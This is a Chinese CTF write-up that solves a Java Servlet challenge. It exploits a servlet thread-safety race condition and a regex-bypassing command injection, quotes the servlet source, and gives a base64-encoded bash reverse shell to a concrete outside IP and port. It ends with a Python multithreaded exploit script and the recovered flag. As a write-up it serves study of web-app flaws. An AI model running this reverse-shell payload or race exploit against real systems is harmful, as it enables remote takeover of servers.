某比赛的某题 今天准备继续学fastjson的,朋友丢过来一道题,看了一下是java的Servlet
给了附件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package com.le1a.web.servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.util.regex.Matcher;import java.util.regex.Pattern;@WebServlet("/test") public class BisaiServlet extends HttpServlet { public int isok; @Override protected void doGet (HttpServletRequest req, HttpServletResponse response) throws ServletException, IOException { isok=1 ; String cmd = req.getParameter("cmd" ); if (cmd==null ){ response.getWriter().write("please input get cmd" ); } String status = req.getParameter("status" ); if (status.equals("isok" )){ isok=0 ; try { Thread.sleep(1000 ); } catch (InterruptedException e) { e.printStackTrace(); } } if (isok==0 ){ return ; } if (status.equals("isok" )){ try { response.getClass().getMethod("setStatus" , new Class[]{int .class}).invoke(response, new Object[]{new Integer(200 )}); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } Pattern p = Pattern.compile("\\$\\(printf .*?\\)" ); Matcher m = p.matcher(cmd); boolean b = m.matches(); if (b){ String[] cmds = System.getProperty("os.name" ).toLowerCase().contains("window" ) ? new String[]{"cmd.exe" , "/c" , cmd} : new String[]{"/bin/sh" , "-c" , cmd}; byte [] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A" ).next().getBytes(); response.getOutputStream().write(result); response.getOutputStream().flush(); response.getOutputStream().close(); } }else { response.getWriter().write("no no no~" ); } } }
大致看了一下代码,请求两个参数,一个cmd
、一个status
,首先就是判断status
是否为isok
,如果是的话就设置isok
参数为0,接着走到下一个if
语句就直接return
了,而命令执行的逻辑是在后面的if
语句中,而这两个if
语句的判断条件是一致的,也就是不能走到这个if
,但要走到下面的if
中,这里就又涉及到Servlet的线性安全问题了,以前y4师傅也提到过这个,VNCTF也出现过,这里就不在赘述了,总之就是跑条件竞争就好了。
继续看后面,有一个正则匹配\\$\\(printf .*?\\)
,需要cmd
中匹配到正则,然后才能进入下一个if
,最后是拼凑出了能用的payload:
1 $(printf 1 ) || 命令 || echo \)
本地curl一下看一下命令是否被执行
发现能成功执行,接下来就改一下命令,直接反弹shell,值得注意的是Java环境反弹shell需要Base64才行,所以payload为:
1 2 /test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=isok /test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=Le1a
因为Payload中含有&
,会与传参的&混淆,所以将其url编码一下。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport threadingurl1 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=isok" url2 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=Le1a" def one (session ): while event.isSet(): res = session.get(url=url1).text def two (session ): while event.isSet(): res = session.get(url=url2).text if __name__ == '__main__' : event = threading.Event() event.set () session = requests.session() for i in range (1 , 30 ): threading.Thread(target=one, args=(session,)).start() for i in range (1 , 30 ): threading.Thread(target=two, args=(session,)).start()
监听端口,然后运行脚本,收到反弹的Shell,find找一下flag,得到flag:
1 flag{i_love_Gcker_very_m0ch}